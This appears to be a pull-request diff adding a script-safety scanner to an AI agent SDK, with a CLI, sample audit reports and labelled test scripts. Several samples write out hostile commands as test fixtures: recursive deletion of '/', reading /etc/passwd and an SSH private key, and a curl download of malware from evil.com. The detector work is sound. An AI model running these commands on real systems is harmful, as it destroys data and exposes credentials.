Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions docs/examples/safety/tool_safety_audit.jsonl
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
{"tool_name":"Bash","decision":"DENY","risk_level":"CRITICAL","rule_id":"R001","scan_duration_ms":1.23,"masked":false,"blocked":true,"timestamp":"2026-07-20T10:00:00+00:00","script_type":"BASH"}
{"tool_name":"Python","decision":"DENY","risk_level":"HIGH","rule_id":"R004,R001","scan_duration_ms":2.34,"masked":false,"blocked":true,"timestamp":"2026-07-20T10:01:00+00:00","script_type":"PYTHON"}
{"tool_name":"Bash","decision":"ALLOW","risk_level":"LOW","rule_id":"NONE","scan_duration_ms":0.56,"masked":false,"blocked":false,"timestamp":"2026-07-20T10:02:00+00:00","script_type":"BASH"}
{"tool_name":"Bash","decision":"NEEDS_HUMAN_REVIEW","risk_level":"MEDIUM","rule_id":"R006","scan_duration_ms":1.89,"masked":false,"blocked":false,"timestamp":"2026-07-20T10:03:00+00:00","script_type":"BASH"}
{"tool_name":"Python","decision":"DENY","risk_level":"CRITICAL","rule_id":"R007","scan_duration_ms":3.12,"masked":true,"blocked":true,"timestamp":"2026-07-20T10:04:00+00:00","script_type":"PYTHON"}
30 changes: 30 additions & 0 deletions docs/examples/safety/tool_safety_report.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
{
"decision": "DENY",
"risk_level": "CRITICAL",
"matches": [
{
"rule_id": "R001",
"risk_category": "DANGEROUS_FILE_OPERATION",
"risk_level": "CRITICAL",
"evidence": "rm -rf /",
"line_number": 1,
"recommendation": "Remove or replace this destructive file operation.",
"masked": false
},
{
"rule_id": "R004",
"risk_category": "PROCESS_EXECUTION",
"risk_level": "HIGH",
"evidence": "os.system('rm -rf /')",
"line_number": 3,
"recommendation": "Avoid executing system commands directly.",
"masked": false
}
],
"tool_name": "Bash",
"script_type": "BASH",
"script_summary": "rm -rf / os.system('rm -rf /') echo 'done'",
"scan_duration_ms": 1.23,
"timestamp": "2026-07-20T10:00:00+00:00",
"policy_version": ""
}
125 changes: 125 additions & 0 deletions scripts/tool_safety_check.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
#!/usr/bin/env python3
"""Tool Script Safety Check — CLI for scanning scripts for security risks.

Usage:
python scripts/tool_safety_check.py path/to/script.py
python scripts/tool_safety_check.py path/to/script.sh --type bash
python scripts/tool_safety_check.py --stdin < script.sh
python scripts/tool_safety_check.py --version
"""

import argparse
import os
import sys
import json

# Add project root to path
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
from trpc_agent_sdk.tools.safety._scanner import SafetyScanner
from trpc_agent_sdk.tools.safety._types import ScanInput, ScriptType


def detect_script_type(path: str) -> ScriptType:
"""Detect script type from file extension."""
ext = os.path.splitext(path)[1].lower()
if ext in (".py", ):
return ScriptType.PYTHON
if ext in (".sh", ".bash", ".zsh", ".ksh"):
return ScriptType.BASH
return ScriptType.UNKNOWN


def main():
parser = argparse.ArgumentParser(description="Tool Script Safety Check — scan scripts for security risks", )
parser.add_argument("path", nargs="?", help="Path to script file")
parser.add_argument("--type",
"-t",
choices=["auto", "bash", "python"],
default="auto",
help="Script type (default: auto-detect)")
parser.add_argument("--stdin", action="store_true", help="Read script from stdin")
parser.add_argument("--json", action="store_true", help="Output as JSON")
parser.add_argument("--policy", "-p", default="tool_safety_policy.yaml", help="Path to policy file")
parser.add_argument("--version", "-v", action="store_true", help="Show version")

args = parser.parse_args()

if args.version:
from trpc_agent_sdk.version import __version__ as ver
print(f"tool-safety-check version {ver}")
return

# Read script content
if args.stdin:
script_content = sys.stdin.read()
tool_name = "stdin"
script_type = ScriptType.UNKNOWN
elif args.path:
path = args.path
if not os.path.exists(path):
print(f"Error: File not found: {path}", file=sys.stderr)
sys.exit(1)
with open(path, "r", encoding="utf-8") as f:
script_content = f.read()
tool_name = os.path.basename(path)
script_type = detect_script_type(path) if args.type == "auto" \
else ScriptType.PYTHON if args.type == "python" else ScriptType.BASH
else:
parser.print_help()
sys.exit(1)

# Load policy and scan
try:
policy = SafetyPolicy.from_file(args.policy)
except FileNotFoundError:
print(f"Error: Policy file not found: {args.policy}", file=sys.stderr)
sys.exit(1)

scanner = SafetyScanner(policy)
scan_input = ScanInput(
script_content=script_content,
script_type=script_type,
tool_name=tool_name,
)
report = scanner.scan(scan_input)

if args.json:
print(json.dumps(report.to_dict(), indent=2, ensure_ascii=False))
else:
_print_report(report)
if report.is_blocked:
sys.exit(2)
elif report.needs_review:
sys.exit(1)


def _print_report(report):
"""Print a human-readable safety report."""
print(f"\n{'='*60}")
print(f" Tool Script Safety Report")
print(f"{'='*60}")
print(f" Tool: {report.tool_name}")
print(f" Script Type: {report.script_type.name}")
print(f" Decision: {report.decision.name}")
print(f" Risk Level: {report.risk_level.name}")
print(f" Duration: {report.scan_duration_ms:.2f}ms")
print(f" Matches: {report.match_count}")
print(f" Timestamp: {report.timestamp}")

if report.matches:
print(f"\n {'─'*58}")
for m in report.matches:
print(f" [{m.rule_id}] {m.risk_category.name} (risk={m.risk_level.name})")
print(f" Line {m.line_number}: {m.evidence[:100]}")
print(f" → {m.recommendation}")
if m.masked:
print(f" (sensitive data masked)")
print()
else:
print(f"\n ✅ No risks detected.\n")


if __name__ == "__main__":
main()
1 change: 1 addition & 0 deletions tests/tools/safety/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
"""Tests for the Tool Script Safety Guard."""
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/bash_pipe.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Suspicious: pipe with sensitive file — needs human review
cat /etc/passwd | grep root
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/dangerous_rm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
"""Dangerous: recursive delete via os.system."""
import os
os.system("rm -rf /")
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/infinite_loop.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
"""Dangerous: infinite loop — resource abuse."""
while True:
pass
4 changes: 4 additions & 0 deletions tests/tools/safety/samples/leak_api_key.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
"""Dangerous: leak API key to file."""
api_key = "sk-123456789012345678901234"
with open("/tmp/leak.txt", "w") as f:
f.write(f"API_KEY={api_key}")
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/net_curl.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Dangerous: network egress to non-whitelisted domain
curl http://evil.com/malware -o /tmp/malware
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/net_whitelist.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Safe: network request to whitelisted domain
curl https://api.openai.com/v1/models
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/pip_install.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Dangerous: install untrusted package
pip install untrusted-package
4 changes: 4 additions & 0 deletions tests/tools/safety/samples/read_ssh_key.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
"""Dangerous: read SSH private key."""
with open("/root/.ssh/id_rsa") as f:
key = f.read()
print(key)
2 changes: 2 additions & 0 deletions tests/tools/safety/samples/safe_hello.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
"""Safe Python script — prints hello world."""
print("hello world")
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/safe_ls.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Safe: list directory
ls -la
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/shell_inject.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash
# Dangerous: shell injection — delete and read passwd
rm -rf /var/log; cat /etc/passwd
3 changes: 3 additions & 0 deletions tests/tools/safety/samples/subprocess_call.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
"""Dangerous: subprocess call with sudo."""
import subprocess
subprocess.run(["sudo", "rm", "-rf", "/"])
Loading
Loading